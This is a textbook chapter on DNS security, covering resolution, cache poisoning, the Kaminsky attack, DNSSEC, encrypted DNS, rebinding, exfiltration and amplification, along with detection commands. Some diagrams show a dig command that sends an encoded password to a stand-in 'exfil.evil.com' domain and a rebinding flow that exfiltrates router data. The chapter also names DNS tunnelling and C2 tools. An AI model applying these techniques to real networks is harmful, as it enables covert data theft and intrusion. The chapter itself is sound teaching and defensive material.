Chapter 16: DNS Security

"DNS is the phone book of the internet. And just like a real phone book, anyone can print a fake one."

DNS was designed in 1983 by Paul Mockapetris (RFCs 1034/1035). No authentication, no encryption, no integrity checks. Every DNS response is accepted on faith. It is a system built entirely on trust -- and trust, as you have learned by now, is the attacker's favorite thing to exploit.

This chapter walks through how DNS actually works, then systematically breaks it.


How DNS Works: A Full Resolution Walkthrough

When you type www.example.com in your browser, a remarkable chain of queries unfolds. Each step involves a different server, and every step is a potential attack point.

sequenceDiagram
    participant B as Your Browser<br/>(Stub Resolver)
    participant R as Recursive Resolver<br/>(ISP or 8.8.8.8)
    participant Root as Root DNS<br/>(a.root-servers.net)
    participant TLD as .com TLD DNS<br/>(a.gtld-servers.net)
    participant Auth as example.com<br/>Authoritative NS

    B->>R: 1. "What is www.example.com?"
    Note over R: Check cache: not found.<br/>Must resolve from root.

    R->>Root: 2. "Who handles .com?"
    Root->>R: 3. "Ask a.gtld-servers.net"<br/>(NS referral + glue records)

    R->>TLD: 4. "Who handles example.com?"
    TLD->>R: 5. "Ask ns1.example.com (93.184.216.34)"<br/>(NS referral + glue records)

    R->>Auth: 6. "What is www.example.com?"
    Auth->>R: 7. "93.184.216.34" (A record, TTL: 3600)

    R->>R: 8. Cache result for 3600 seconds
    R->>B: 9. "93.184.216.34"

    Note over B: Browser connects to 93.184.216.34:443<br/>Subsequent queries hit cache until TTL expires

This requires up to 4 round trips for a cold cache (no prior knowledge). In practice, recursive resolvers keep the root and TLD name server addresses cached for days, so most queries require only 1-2 round trips. Popular domains are also cached, meaning a query for www.google.com is almost certainly served from cache.

Caching makes it fast in practice. Once your recursive resolver knows the answer, it caches it for the duration specified by the TTL (Time To Live) in the DNS record. Most popular domains have TTLs of 300 seconds (5 minutes) to 86400 seconds (1 day). The root and TLD servers are cached for days. But here is the key insight: every query and every response is sent over UDP in plaintext, with no authentication. That means every hop is an opportunity for an attacker to inject a forged response.

Key Players in DNS

  • Stub Resolver: Your laptop's DNS client. It sends a single query to the recursive resolver and accepts whatever answer comes back. It does NO validation, no chain-following, no verification. It trusts the recursive resolver completely.
  • Recursive Resolver: The workhorse. It starts at the root and follows referrals until it gets an answer. Run by your ISP, your company, or public services like Cloudflare (1.1.1.1), Google (8.8.8.8), or Quad9 (9.9.9.9). This is the most critical trust point -- your recursive resolver sees every domain you visit.
  • Authoritative Name Server: The source of truth for a domain. It holds the actual DNS records (A, AAAA, MX, TXT, CNAME, etc.) and provides definitive answers. Usually run by a hosting provider (Cloudflare DNS, AWS Route 53, Google Cloud DNS) or self-hosted.
  • Root Name Servers: 13 named root server clusters (a.root-servers.net through m.root-servers.net), operated by 12 independent organizations. They do not know the answers to queries; they delegate to TLD servers. There are actually hundreds of physical servers using anycast routing.
Trace the full DNS resolution path using `dig`:

\```bash
# Basic query -- shows the answer and some metadata
dig www.example.com

# ;; QUESTION SECTION:
# ;www.example.com.            IN      A
#
# ;; ANSWER SECTION:
# www.example.com.     3600    IN      A       93.184.216.34
#
# ;; Query time: 23 msec
# ;; SERVER: 192.168.1.1#53(192.168.1.1) (UDP)

# Trace the full resolution path (simulates recursive resolution)
dig +trace www.example.com

# .                    518400  IN  NS  a.root-servers.net.
# .                    518400  IN  NS  b.root-servers.net.
# ...
# com.                 172800  IN  NS  a.gtld-servers.net.
# com.                 172800  IN  NS  b.gtld-servers.net.
# ...
# example.com.         172800  IN  NS  a.iana-servers.net.
# example.com.         172800  IN  NS  b.iana-servers.net.
# ...
# www.example.com.     86400   IN  A   93.184.216.34

# Query a specific nameserver directly (bypass your resolver)
dig @8.8.8.8 www.example.com

# Show just the answer, no extras
dig +short www.example.com
# 93.184.216.34

# Query for specific record types
dig example.com MX        # Mail servers
dig example.com TXT       # Text records (SPF, DKIM, DMARC, etc.)
dig example.com NS        # Name servers
dig example.com SOA       # Start of Authority (zone metadata)
dig example.com AAAA      # IPv6 address
dig example.com CAA       # Certificate Authority Authorization

# Check the TTL (time until cache expires)
dig +noall +answer www.example.com
# www.example.com.   3482   IN   A   93.184.216.34
#                    ^^^^
#                    Remaining TTL in seconds (decreases over time)

# See the full response including all sections
dig +noall +answer +authority +additional www.example.com
\```

DNS Poisoning: The Fundamental Attack

DNS cache poisoning is the act of inserting a false DNS record into a recursive resolver's cache. Once poisoned, every user of that resolver gets directed to the attacker's IP address until the cached entry expires.

The Classic Cache Poisoning Attack

DNS queries and responses are sent over UDP -- connectionless, no handshake, no verification of sender identity. The stub resolver accepts the first response that matches the query's Transaction ID (a 16-bit field) and source port. An attacker who can guess these two values can inject a forged response before the legitimate one arrives.

sequenceDiagram
    participant Resolver as Recursive Resolver
    participant Auth as Authoritative NS<br/>(legitimate)
    participant Attacker

    Resolver->>Auth: Query: example.com?<br/>TxID: 0xA1B2, Src Port: 12345

    Note over Attacker: Attacker observes or guesses:<br/>TxID: 0xA1B2 (16-bit, only 65536 values)<br/>Src port: 12345 (if predictable)

    Attacker->>Resolver: Forged response (arrives FIRST):<br/>"example.com = 6.6.6.6"<br/>TxID: 0xA1B2, Src Port: 53

    Note over Resolver: TxID matches! Accept response.<br/>Cache: example.com → 6.6.6.6 (WRONG!)

    Auth->>Resolver: Real response (arrives LATE):<br/>"example.com = 93.184.216.34"<br/>TxID: 0xA1B2

    Note over Resolver: Already have an answer. Ignore.<br/><br/>All users of this resolver now<br/>get directed to 6.6.6.6!

The challenge for the attacker was guessing the 16-bit Transaction ID. With only 65,536 possibilities, a brute-force race was feasible but required timing -- the attacker had to send their forged response between the query and the legitimate response (typically 10-100ms). Early DNS implementations made this even easier by using fixed or predictable source ports, reducing the guessing space.

The Kaminsky Attack (2008)

Dan Kaminsky discovered a devastating improvement that made DNS poisoning far more practical. His insight solved two problems that limited the classic attack:

Problem 1: The attacker had to wait for someone to query the target domain. If example.com was already cached (with a long TTL), no new queries would be sent for hours or days.

Problem 2: Each attempt was a one-shot race. If the legitimate response arrived first, the attacker had to wait for the cached entry to expire before trying again.

Kaminsky's solution: Force unlimited queries for names that are never cached, and use the authority section of DNS responses to redirect the entire domain.

graph TD
    A["Step 1: Attacker queries resolver for<br/>aaa001.example.com<br/>(random subdomain - never cached)"]
    A --> B["Step 2: Resolver must query authoritative NS<br/>(cannot answer from cache)"]
    B --> C["Step 3: Attacker floods resolver with<br/>forged responses containing:<br/><br/>ANSWER: aaa001.example.com = [anything]<br/>AUTHORITY: example.com NS = ns.evil.com<br/><br/>The AUTHORITY section is the weapon:<br/>it overrides the name server for<br/>the ENTIRE domain"]
    C --> D{"Step 4: Did forged response<br/>win the race?"}
    D -->|"No (TxID wrong)"| E["Try again with<br/>aaa002.example.com<br/>(new random subdomain,<br/>new TxID to guess)"]
    E --> B
    D -->|"Yes!"| F["Resolver caches:<br/>example.com NS → ns.evil.com<br/><br/>Attacker now controls DNS<br/>for ALL of example.com"]
    F --> G["All queries for *.example.com<br/>are answered by attacker's server<br/>Can redirect web, email, API - everything"]

    style F fill:#ff4444,color:#fff
    style G fill:#ff4444,color:#fff

The power of this technique is staggering. Each attempt is independent, so the attacker can try thousands of times per second. With the 16-bit Transaction ID, the expected number of attempts to succeed is only about 32,768 (the birthday bound). At 1,000 forged packets per second, that is about 30 seconds. The attack was demonstrated to work reliably in under 10 seconds.

The Kaminsky disclosure was one of the most coordinated security events in internet history. Dan Kaminsky privately disclosed the vulnerability to DNS software vendors in early 2008. A multi-vendor coordinated patch was released on July 8, 2008, with every major DNS vendor (BIND, Microsoft DNS, Cisco, Nominum, PowerDNS) patching simultaneously. Kaminsky asked the community not to guess the details until his Black Hat talk in August.

The embargo held for 13 days. Halvar Flake publicly deduced the attack details from the patch diff. Within 48 hours, HD Moore published a working exploit in Metasploit. By August 2008, active exploitation was being observed in the wild.

The emergency patch was source port randomization -- using random source ports for DNS queries, increasing the guessing space from 16 bits (~65K possibilities) to 32+ bits (~4 billion possibilities). This was a band-aid, not a cure. The real fix was DNSSEC, which had been standardized years earlier but was not widely deployed. It took the Kaminsky attack to finally drive DNSSEC adoption -- and even then, it took over a decade.
Check if a DNS resolver uses source port randomization:

\```bash
# Use the DNS-OARC porttest service
dig +short porttest.dns-oarc.net TXT @8.8.8.8

# Good result (Google Public DNS):
# "8.8.8.8 is GREAT: 26 queries in 2.0 seconds
#  from 26 ports with std dev 17685"

# Bad result (fixed source port):
# "x.x.x.x is POOR: 26 queries in 2.0 seconds
#  from 1 ports with std dev 0"

# Check your system's default resolver
dig +short porttest.dns-oarc.net TXT

# Also check your resolver's Transaction ID randomness
dig +short txidtest.dns-oarc.net TXT
# Should show "GREAT" with high standard deviation
\```

DNSSEC: Signing the Phone Book

DNSSEC (Domain Name System Security Extensions) adds cryptographic signatures to DNS records, allowing resolvers to verify that a response is authentic and has not been tampered with. It is the definitive solution to DNS poisoning -- but its complexity has slowed adoption.

How DNSSEC Works

Each DNS zone (like ., .com, or example.com) has cryptographic key pairs:

  • KSK (Key Signing Key): A long-lived key that signs the DNSKEY record set (which contains the ZSK). The KSK's hash is published as a DS record in the parent zone, creating the chain of trust.
  • ZSK (Zone Signing Key): A shorter-lived key that signs all other record sets in the zone. It is rotated more frequently than the KSK (monthly vs yearly) because it is used more often and exposure risk is higher.
graph TD
    subgraph Root["Root Zone (.)"]
        RK["Root KSK<br/>(Trust Anchor - hardcoded<br/>in every validating resolver)"]
        RZ["Root ZSK<br/>(signs root records)"]
        RK -->|"Signs"| RZ
        RDS["DS record for .com<br/>(hash of .com's KSK,<br/>signed by root ZSK)"]
        RZ -->|"Signs"| RDS
    end

    subgraph Com[".com TLD Zone"]
        CK["com KSK<br/>(hash matches DS in root)"]
        CZ["com ZSK"]
        CK -->|"Signs"| CZ
        CDS["DS record for example.com<br/>(hash of example.com's KSK,<br/>signed by .com ZSK)"]
        CZ -->|"Signs"| CDS
    end

    subgraph Example["example.com Zone"]
        EK["example.com KSK<br/>(hash matches DS in .com)"]
        EZ["example.com ZSK"]
        EK -->|"Signs"| EZ
        EA["www.example.com A 93.184.216.34<br/>RRSIG: [signature by ZSK]"]
        EZ -->|"Signs"| EA
    end

    RDS -->|"Chain of Trust"| CK
    CDS -->|"Chain of Trust"| EK

    style RK fill:#ff6b6b,color:#fff
    style EA fill:#44aa44,color:#fff

The validation process works like this: the resolver has the root KSK hardcoded (the "trust anchor"). It uses the root KSK to verify the root zone's DNSKEY record set. It then uses the root ZSK to verify the DS record for .com. The DS record is a hash of .com's KSK, so the resolver can verify .com's KSK. It then uses .com's ZSK to verify the DS record for example.com, and so on down the chain until it reaches the actual A record, which is signed by example.com's ZSK.

If any signature in this chain is invalid, missing, or expired, the response is rejected as BOGUS.

DNSSEC Record Types

  • RRSIG: Signature for a DNS record set. Contains the cryptographic signature, the signing algorithm, the signer's identity, the signature inception and expiration timestamps, and the key tag identifying which DNSKEY was used.
  • DNSKEY: The zone's public keys (both KSK and ZSK). Published in the zone itself.
  • DS (Delegation Signer): Published in the parent zone. Contains a hash of the child's KSK, creating the chain of trust across zone boundaries.
  • NSEC/NSEC3: Proves that a name does NOT exist (authenticated denial of existence). Without NSEC, an attacker could forge "this domain does not exist" responses. NSEC lists the next existing name in alphabetical order, which enables zone walking (enumerating all names). NSEC3 uses hashed names to prevent this enumeration.
Inspect DNSSEC signatures with `dig`:

\```bash
# Query with DNSSEC validation requested
dig +dnssec www.example.com

# Look for the 'ad' flag in the response header:
# ;; flags: qr rd ra ad;
#                    ^^
# 'ad' = Authenticated Data (DNSSEC validated successfully)
# If 'ad' is absent, the response is NOT DNSSEC-validated

# View the RRSIG (signature) records alongside the answer
dig +dnssec +multi www.example.com

# ;; ANSWER SECTION:
# www.example.com.    86400 IN A 93.184.216.34
# www.example.com.    86400 IN RRSIG A 13 3 86400 (
#                     20260315000000 20260301000000 12345
#                     example.com.
#                     base64-encoded-signature... )

# Check the DNSKEY records for a zone
dig +dnssec example.com DNSKEY +multi

# Check the DS record in the parent zone
dig +dnssec example.com DS @a.gtld-servers.net

# Check if a domain has DNSSEC enabled
dig +short example.com DS
# If empty, DNSSEC is not configured for this domain

# Validate that DNSSEC is working end-to-end
# This should return SERVFAIL (bad DNSSEC):
dig @9.9.9.9 dnssec-failed.org
# ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL

# This should return NOERROR with 'ad' flag (good DNSSEC):
dig @9.9.9.9 +dnssec example.com
# ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, ... flags: qr rd ra ad;

# View NSEC3 records (authenticated denial of existence)
dig +dnssec nonexistent-subdomain.example.com
# Look for NSEC3 records in the AUTHORITY section
\```

DNSSEC Limitations and Operational Risks

DNSSEC solves authenticity and integrity -- you can verify that a DNS response is genuine. But it has significant limitations and operational risks that have slowed its adoption.

**DNSSEC does NOT provide:**

1. **Confidentiality:** DNS queries and responses are still plaintext. Your ISP and anyone on the network path can see every domain you look up. DNSSEC only adds signatures, not encryption.

2. **Last-mile protection:** DNSSEC validation typically happens at the recursive resolver, not on your device. The path from your device to the resolver is still unprotected (the stub resolver trusts the recursive resolver blindly). Only DoH/DoT (covered next) protect this leg.

3. **Universal deployment:** As of 2025, approximately 40% of .com domains have DNSSEC. Many major sites do not use it. Adoption varies wildly by TLD -- .gov and .bank have near-100% deployment, while .io and .app are lower.

4. **Operational simplicity:** DNSSEC is notoriously difficult to deploy and maintain. Failure modes include:
   - Expired signatures (if automated signing breaks and nobody notices)
   - DS record mismatches after key rollover (the parent still has the old DS)
   - Clock skew causing signatures to appear expired
   - CDN/DNS provider transitions that break the chain of trust

   Any of these makes the domain COMPLETELY unreachable to validating resolvers -- worse than no DNSSEC at all.

5. **Protection against compromised authoritative servers:** If the attacker compromises the actual authoritative name server and has access to the signing keys, DNSSEC provides no protection. The signatures are valid because they are made with the legitimate keys.
In October 2018, a major European country-code TLD (.se, Sweden's ccTLD) had a DNSSEC incident. A configuration change in their DNSSEC signing system caused new signatures to be generated with incorrect parameters. For several hours, every DNSSEC-validating resolver rejected responses for ALL domains under .se -- banks, hospitals, government services, news sites, everything. Non-validating resolvers continued to work, creating a confusing situation where some users could access .se domains and others could not.

The lesson is stark: DNSSEC adds a new failure mode that is worse than the attack it prevents. A poisoned DNS response affects one domain on one resolver. A broken DNSSEC configuration affects ALL domains in the zone on ALL validating resolvers worldwide. Key management must be automated, monitored, and tested. Many organizations have decided the operational risk outweighs the benefit, which is a legitimate engineering judgment.

DNS over HTTPS (DoH) and DNS over TLS (DoT)

DNSSEC provides authenticity (the answer is genuine) but not privacy (everyone can see the question). DoH and DoT provide privacy by encrypting the DNS query itself.

The Privacy Problem

Traditional DNS sends every query in plaintext over UDP port 53. This means:

  • Your ISP sees every domain you query and can build a complete browsing profile
  • The coffee shop WiFi operator can see every domain you visit
  • Corporate firewalls can inspect and filter DNS queries
  • Government surveillance programs can passively collect DNS metadata at scale
  • Even when using HTTPS for the actual website, the DNS query to resolve the hostname is visible
graph LR
    subgraph Traditional["Traditional DNS (Plaintext UDP:53)"]
        T_DEV[Your Device] -->|"Query: medical-condition.org<br/>(PLAINTEXT)"| T_ISP[ISP Router]
        T_ISP -->|"Visible!"| T_RES[Resolver]
    end

    subgraph DoT_Flow["DNS over TLS (TCP:853)"]
        D_DEV[Your Device] ==>|"TLS-encrypted query<br/>TCP port 853"| D_RES[Resolver]
        D_NOTE["ISP sees: TLS traffic to 1.1.1.1:853<br/>Knows you're using DoT<br/>Can block port 853"]
    end

    subgraph DoH_Flow["DNS over HTTPS (TCP:443)"]
        H_DEV[Your Device] ==>|"HTTPS request<br/>TCP port 443"| H_RES[Resolver]
        H_NOTE["ISP sees: HTTPS traffic to 1.1.1.1:443<br/>Indistinguishable from normal web traffic<br/>Cannot block without breaking the web"]
    end

    style T_ISP fill:#ff4444,color:#fff
    style D_RES fill:#44aa44,color:#fff
    style H_RES fill:#44aa44,color:#fff

DNS over TLS (DoT) -- RFC 7858

DoT wraps DNS queries in a TLS connection on a dedicated port (853):

Traditional: [IP][UDP:53]  → DNS query (plaintext)
DoT:         [IP][TCP:853] → [TLS] → DNS query (encrypted)
  • Pro: Standard port makes it easy to identify, manage, and route
  • Pro: Standard TLS with certificate validation (unlike STARTTLS, it is TLS from the start)
  • Con: The dedicated port makes it trivially easy to block. Censors and corporate firewalls can simply block TCP port 853.

DNS over HTTPS (DoH) -- RFC 8484

DoH sends DNS queries as HTTPS POST or GET requests on standard port 443:

Traditional: [IP][UDP:53]  → DNS query (plaintext)
DoH:         [IP][TCP:443] → [TLS] → HTTP/2 → DNS query (encrypted)

The DNS query is encoded in the HTTP body (wire format) and sent as a standard HTTPS request:

POST /dns-query HTTP/2
Host: 1.1.1.1
Content-Type: application/dns-message
Content-Length: 33

[binary DNS query]
  • Pro: Indistinguishable from regular HTTPS traffic. Nearly impossible to block without blocking all HTTPS.
  • Con: Harder for network administrators to monitor. Completely bypasses enterprise DNS-based security controls (content filtering, logging, threat detection).

DoH is politically contentious. Privacy advocates love it because it prevents ISP snooping and censorship. Enterprise security teams and network administrators are concerned because it bypasses their DNS-based filtering and monitoring. When Firefox enabled DoH by default in 2020 (using Cloudflare as the resolver), it effectively moved DNS resolution out of the network administrator's control and into Mozilla's browser. Some UK ISPs initially called Mozilla an "internet villain" for this decision.

Test DoH and DoT from the command line:

\```bash
# DNS over HTTPS (DoH) using curl -- Cloudflare
curl -s -H 'Accept: application/dns-json' \
  'https://1.1.1.1/dns-query?name=example.com&type=A' | python3 -m json.tool

# Output:
# {
#     "Status": 0,    (0 = NOERROR)
#     "TC": false,
#     "RD": true,
#     "RA": true,
#     "AD": true,     (DNSSEC validated!)
#     "CD": false,
#     "Question": [{"name": "example.com", "type": 1}],
#     "Answer": [{"name": "example.com", "type": 1, "TTL": 3600,
#                 "data": "93.184.216.34"}]
# }

# DNS over HTTPS -- Google
curl -s 'https://dns.google/resolve?name=example.com&type=A' | python3 -m json.tool

# DNS over TLS (DoT) using kdig (from knot-dnsutils package)
kdig +tls @1.1.1.1 example.com
# ;; TLS session (TLS1.3)-(ECDHE-X25519)-(EdDSA-Ed25519)-(AES-256-GCM)
# ;; ->>HEADER<<- opcode: QUERY; status: NOERROR; id: 12345

# Verify your DNS is encrypted by trying to sniff it
sudo tcpdump -i any port 53 -nn -c 10
# If you see DNS queries here, your DNS is NOT encrypted
# You should see traffic on port 443 (DoH) or 853 (DoT) instead

# Check what DNS resolver your system is using
# macOS:
scutil --dns | head -20
# Linux:
cat /etc/resolv.conf
# Or the systemd way:
resolvectl status
\```
**Choosing a DoH/DoT resolver involves trust tradeoffs:**

| Resolver          | Operator    | Privacy Policy                | DNSSEC | Filtering    |
|-------------------|-------------|-------------------------------|--------|-------------|
| 1.1.1.1           | Cloudflare  | No logging, externally audited| Yes    | None (default) |
| 1.1.1.2           | Cloudflare  | Same as above                 | Yes    | Malware blocked |
| 8.8.8.8           | Google      | Temporary logs, anonymized    | Yes    | None         |
| 9.9.9.9           | Quad9       | No logging, non-profit        | Yes    | Malware blocked |
| 208.67.222.222    | OpenDNS     | Logs, optional filtering      | Yes    | Configurable |
| Your ISP          | ISP         | Varies, often logs and sells  | Maybe  | Varies       |

By using DoH/DoT, you are shifting trust from your ISP to the DoH provider. You are not eliminating trust -- you are choosing who to trust with your DNS query history. If you use Cloudflare's DoH, Cloudflare can see all your DNS queries (though they claim not to log them and undergo external audits).

For maximum privacy: run your own recursive resolver (BIND, Unbound, or Knot Resolver) with DNSSEC validation, and access it over a VPN or DoT. For most people: any reputable DoH/DoT provider is a massive improvement over plaintext DNS through an ISP that may be logging and selling your data.

DNS Rebinding Attacks

DNS rebinding is a clever attack that bypasses the browser's same-origin policy by manipulating DNS responses. It does not poison someone else's DNS -- the attacker uses their own domain with carefully timed DNS responses.

This attack is subtle and affects a different threat model than cache poisoning. The attacker exploits the gap between how browsers enforce same-origin policy (by domain name) and how network access works (by IP address).

The Attack

sequenceDiagram
    participant Victim as Victim's Browser
    participant DNS as Attacker's DNS Server
    participant Evil as Attacker's Web Server<br/>(6.6.6.6)
    participant Router as Victim's Router<br/>(192.168.1.1)

    Victim->>DNS: 1. Resolve evil.com
    DNS->>Victim: evil.com → 6.6.6.6<br/>TTL: 0 seconds (expire immediately!)

    Victim->>Evil: 2. GET http://evil.com/<br/>(goes to 6.6.6.6)
    Evil->>Victim: 3. HTML + JavaScript:<br/>setTimeout(makeRequest, 2000)

    Note over Victim: 2 seconds pass...<br/>TTL expired, DNS cache cleared

    Victim->>Victim: 4. JavaScript calls fetch("http://evil.com/data")
    Victim->>DNS: 5. Re-resolve evil.com (TTL expired)
    DNS->>Victim: evil.com → 192.168.1.1<br/>(victim's internal router!)

    Victim->>Router: 6. GET http://evil.com/data<br/>Host: evil.com<br/>(but actually goes to 192.168.1.1!)

    Note over Victim: Browser checks same-origin policy:<br/>Request origin: evil.com<br/>Request destination: evil.com<br/>Same origin? YES. ALLOWED.<br/><br/>Browser does not notice the IP changed.

    Router->>Victim: 7. Router admin page HTML
    Victim->>Evil: 8. JavaScript exfiltrates the data<br/>to attacker's server

    Note over Victim: Attacker can now:<br/>Read router configuration<br/>Change DNS settings<br/>Scan internal network<br/>Access any internal service

The browser's same-origin policy is based on the domain name, not the IP. When the IP changes, the browser does not care. It checks: "Is this request from evil.com going to evil.com? Yes. Same origin. Allowed." It does not notice that evil.com now resolves to an internal IP address. This is not a browser bug -- the same-origin policy was designed around domain names, not IP addresses, and DNS is expected to return different IPs at different times (for load balancing, CDN routing, etc.).

Defenses Against DNS Rebinding

**Defending against DNS rebinding requires action at multiple layers:**

1. **DNS resolvers should block internal IP responses:** Configure your recursive resolver to reject DNS responses that contain private IP addresses (10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, 127.0.0.0/8) for external domains. This is called "DNS rebinding protection" and is available in dnsmasq (`stop-dns-rebind`), Pi-hole, pfSense, and most enterprise DNS resolvers.

2. **Internal services must verify the Host header:** If your internal router's admin page receives a request with `Host: evil.com`, it should reject it with a 403. The legitimate Host would be `192.168.1.1` or `router.local`. This is the most effective per-service defense.

3. **Authentication on ALL internal services:** Do not rely on "being on the internal network" as authentication. Every internal service should require credentials, even if it is only accessible from the LAN. The DNS rebinding attacker's code runs in the victim's browser, which IS on the internal network.

4. **Browser mitigations:** Modern browsers have some protections (DNS cache pinning, minimum TTL enforcement), but implementation varies across browsers and is not a reliable defense.

5. **TLS on internal services:** If your router admin page uses HTTPS with a proper certificate, the DNS rebinding attack fails because the TLS certificate for `evil.com` will not match `192.168.1.1`. However, most internal services do not use TLS.

DNS Exfiltration: The Covert Channel

DNS can be used as a covert channel to smuggle data out of networks, even through firewalls that block all other outbound traffic. This technique is used in advanced persistent threat (APT) operations and is notoriously difficult to detect.

Nearly every firewall in the world allows DNS traffic on port 53 outbound. If you can make DNS queries, you can exfiltrate data. It is slow, but it works through almost any security control.

How DNS Exfiltration Works

The attacker controls a domain (e.g., exfil.evil.com) and runs a custom authoritative DNS server for it. Malware on the compromised machine encodes stolen data as subdomain labels in DNS queries:

graph LR
    subgraph Victim_Network["Victim Network"]
        MAL["Compromised Machine<br/>Data to steal: credentials, documents"]
        FW["Firewall<br/>Blocks HTTP, HTTPS,<br/>SSH, FTP, etc.<br/><br/>Allows DNS (port 53)"]
        DNS_INT["Company DNS Resolver"]
    end

    subgraph Internet["Internet"]
        DNS_EXT["Attacker's DNS Server<br/>(authoritative for exfil.evil.com)"]
    end

    MAL -->|"dig cGFzc3dvcmQ9aHVudGVyMg.exfil.evil.com<br/>(Base64 of 'password=hunter2')"| DNS_INT
    DNS_INT -->|"Forward query<br/>(looks like normal DNS)"| FW
    FW -->|"Allow (it's DNS!)"| DNS_EXT
    DNS_EXT -->|"Decode subdomain:<br/>password=hunter2"| DNS_EXT

    style FW fill:#ffaa00,color:#000
    style DNS_EXT fill:#ff4444,color:#fff

A real exfiltration session might look like this in DNS query logs:

chunk001.aW1wb3J0YW50LXNl.exfil.evil.com   (chunk 1 of file)
chunk002.Y3JldC1kb2N1bWVu.exfil.evil.com   (chunk 2)
chunk003.dC5wZGYgY29udGFp.exfil.evil.com   (chunk 3)
chunk004.bnMgc2Vuc2l0aXZl.exfil.evil.com   (chunk 4)
...

Each query is a standard DNS lookup. The firewall sees normal DNS traffic. The company's DNS resolver forwards the query to the authoritative server for evil.com (the attacker's server), which receives the encoded data.

Characteristics and Detection

Detect DNS exfiltration patterns:

\```bash
# Monitor for unusually long domain names in DNS queries
sudo tcpdump -i any port 53 -nn -l 2>/dev/null | awk '
  /A\?/ || /AAAA\?/ || /TXT\?/ {
    domain = $NF
    if (length(domain) > 60) {
      print "SUSPICIOUS (long): " domain " (length: " length(domain) ")"
    }
  }'

# Analyze DNS queries from a packet capture
# Count unique subdomains per parent domain (exfil creates MANY):
tshark -r capture.pcap -T fields -e dns.qry.name \
  -Y "dns.flags.response == 0" 2>/dev/null | \
  awk -F. '{print $(NF-1)"."$NF}' | \
  sort | uniq -c | sort -rn | head -20

# Normal domain: 1-10 unique subdomains (www, api, mail, etc.)
# Exfiltration:  Hundreds or thousands of unique subdomains

# Look for high entropy in subdomain labels
# Normal labels: www, mail, api, blog, cdn
# Suspicious labels: cGFzc3dvcmQ9aHVudGVyMg, 4f7a2b3c8d9e
# Base64 and hex-encoded data have higher Shannon entropy

# Check for unusual TXT record queries
# (TXT records carry the largest payload - used for C2 responses)
sudo tcpdump -i any port 53 -nn -l 2>/dev/null | grep "TXT\?"
\```

**Detection strategies for production:**
1. Monitor DNS query volume per source IP (sudden increases are suspicious)
2. Analyze query label entropy (encoded data has higher entropy than normal names)
3. Track unique subdomain counts per parent domain over time
4. Alert on TXT record queries to unusual or newly-registered domains
5. Inspect query timing patterns (automated exfiltration shows regular intervals)
6. Deploy DNS response policy zones (RPZ) to block known exfiltration domains
7. Use passive DNS monitoring to identify domains with anomalous query patterns
**DNS tunneling tools (for authorized penetration testing only):**

- **iodine:** Tunnels IPv4 traffic through DNS. Creates a virtual network interface that sends all traffic as DNS queries. Can achieve ~500 Kbps through DNS, enough for SSH sessions and file transfers.
- **dnscat2:** Encrypted C2 channel over DNS. Provides a remote shell, file transfer, and port forwarding, all encoded as DNS queries. Supports both direct and recursive resolver modes.
- **DNSExfiltrator:** Purpose-built for data exfiltration. Optimized for throughput with automatic chunking, encoding, and reassembly.

**Bandwidth limitations:**
- DNS labels: max 63 bytes each, max 253 bytes total domain name
- After encoding overhead (Base32/Base64), effective payload per query: ~100-180 bytes
- At 50 queries/second (to avoid detection), throughput: ~5-9 KB/s
- A 1 MB file takes about 2 minutes. A 100 MB database dump takes ~3 hours.
- This is slow, but for credentials, encryption keys, or strategic documents, it is more than sufficient.

DNS as an Attack Vector: Other Threats

Domain Hijacking

Taking over a domain's DNS registration -- changing the nameservers at the registrar level. This is the most devastating DNS attack because it gives the attacker complete control over the domain: they can redirect web traffic, intercept email, issue TLS certificates (via domain validation), and there is no DNS-level defense that helps because the attacker IS the legitimate authoritative server.

Attack vectors for domain hijacking:

  • Compromised registrar account (weak password, no MFA, phished credentials)
  • Social engineering the registrar's support team ("I lost access to my email, can you change it?")
  • Exploiting registrar API vulnerabilities (several major registrars have had API auth bypasses)
  • Expired domain re-registration (the domain expires and the attacker registers it before the owner renews)
  • BGP hijacking of registrar infrastructure (redirect traffic to the registrar's website to a lookalike)

Always enable registrar lock (also called "domain lock" or clientTransferProhibited) on critical domains. Use a registrar that supports MFA and has a documented security contact. For the highest security, use a registrar that supports registry lock -- a manual process requiring voice verification to unlock, preventing even compromised registrar accounts from making changes.

DNS Amplification DDoS

DNS servers can be abused for DDoS amplification. The attacker sends small DNS queries with the victim's spoofed source IP address. The DNS server sends a much larger response to the victim.

graph LR
    ATK["Attacker<br/>sends 60-byte query<br/>with spoofed source IP"] -->|"Spoofed src: VICTIM"| OPEN["Open DNS Resolver"]
    OPEN -->|"3000-byte response<br/>(50x amplification)"| VIC["Victim<br/>overwhelmed by traffic"]

    style ATK fill:#ff4444,color:#fff
    style VIC fill:#ff6b6b,color:#fff

The amplification factor can reach 50-70x for certain query types (ANY records, DNSSEC-signed responses with large key sizes). An attacker with 1 Gbps of bandwidth can generate 50-70 Gbps of traffic targeting the victim.

Check if a DNS server is an open resolver (vulnerable to amplification abuse):

\```bash
# Try to resolve a domain THROUGH the target server
# If it responds, it's an open resolver
dig @target-dns-server example.com +short

# If you get an answer, this server will resolve queries for anyone
# and can be abused for amplification attacks

# Check your own authoritative server:
# It should respond to queries for YOUR domain
dig @your-ns.example.com example.com +short  # Should work

# But NOT for other domains
dig @your-ns.example.com google.com +short    # Should REFUSE or timeout

# Set up rate limiting and access control on your resolvers
# In BIND named.conf:
# options {
#     allow-recursion { 10.0.0.0/8; 192.168.0.0/16; };
#     rate-limit { responses-per-second 10; };
# };
\```

Practical DNS Security Hardening

Here is the actionable checklist, split by what you control.

For Your Domains (Things You Publish)

  1. Enable DNSSEC if your registrar and DNS provider support it. Both Cloudflare and AWS Route 53 offer one-click DNSSEC.
  2. Use registrar lock to prevent unauthorized transfers and nameserver changes
  3. Enable MFA on your registrar account. Use a hardware key, not SMS.
  4. Monitor for unauthorized changes with services like SecurityTrails, DNStwist, or your registrar's alert features
  5. Publish CAA records to restrict which Certificate Authorities can issue TLS certificates for your domain
# Check CAA records
dig example.com CAA +short
# 0 issue "letsencrypt.org"
# 0 issuewild "letsencrypt.org"
# 0 iodef "mailto:security@example.com"
# Only Let's Encrypt can issue certs. Violations reported via email.
  1. Set appropriate TTLs -- low TTLs (300s) for records that change frequently, higher TTLs (3600s+) for stable records to reduce query volume and cache poisoning window

For Your Resolvers (How You Resolve)

  1. Use DoH or DoT to encrypt DNS queries between clients and resolvers
  2. Enable DNSSEC validation on your recursive resolver
  3. Block internal IP responses for external domains (DNS rebinding protection)
